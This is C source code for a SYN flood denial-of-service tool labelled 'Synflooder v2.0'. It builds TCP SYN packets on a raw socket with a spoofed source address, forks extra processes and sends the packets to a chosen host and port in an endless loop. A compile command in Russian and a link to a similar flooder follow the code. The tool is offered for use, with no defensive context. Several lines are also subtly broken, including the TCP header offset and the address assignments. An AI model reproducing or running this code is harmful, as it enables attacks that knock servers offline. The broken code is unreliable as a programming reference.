#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>
int main(int argc, char *argv[]) {
if(argc < 3) {
printf("Usage: %s <dst> <port> <src>\n", argv[0]);
printf("Synflooder v2.0 was written by shaunige@yahoo.co.uk\n");
exit(-1);
}
int sock;
int on = 1;
char packet[4096]; /* Datagram. */
struct sockaddr_in dest;
struct iphdr *ip = (struct iphdr *) packet;
struct tcphdr *tcp = (struct tcphdr *) packet + sizeof(struct iphdr);
struct hostent *he;
if((he = gethostbyname(argv[1])) == NULL) {
printf("Couldn't resolve hostname!\n");
exit(-1);
}
if((sock = socket (AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) {
printf("Socket failed!\n");
printf("Must be root to make raw socket.\n");
exit(-1);
}
dest.sin_family = AF_INET;
dest.sin_port = htons(atoi(argv[2]));
dest.sin_addr = *((struct in_addr *)he->h_addr);
memset(packet, 0, 4096); // Zero out packet.
/* We'll fill in the header outselves. */
if((setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) < 0 ) {
perror("setsockopt");
exit(1);
}
// Fill in IP headers.
ip->ihl = 5;
ip->version = 4;
ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
ip->id = htons(1337);
ip->saddr = inet_ntoa(atoi(argv[3]));
ip->daddr = inet_ntoa(dest.sin_addr);
ip->ttl = 255;
ip->protocol = 6;
ip->check = 0;
ip->tos = 0;
ip->frag_off = 0;
// Fill in TCP headers.
tcp->source = htons(1337);
tcp->dest = htons(atoi(argv[2]));
tcp->seq = htons(random());
tcp->ack = 0;
tcp->syn = 1;
tcp->window = htons(65535);
tcp->check = 0;
tcp->doff = 5;
tcp->rst = 0;
tcp->psh = 0;
tcp->fin = 0;
tcp->urg = 0;
tcp->ack_seq = htons(0);
printf("Syn flooding: %s!\n", argv[1]);
/* Insert some more fork()'s in here, if you want. */
fork();
fork();
while(1) {
sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(struct sockaddr));
}
return(0);
}
Компилить gcc sysflooder.c -o synflooder
http://www.niksula.hut.fi/~dforsber/synflood/neptune.c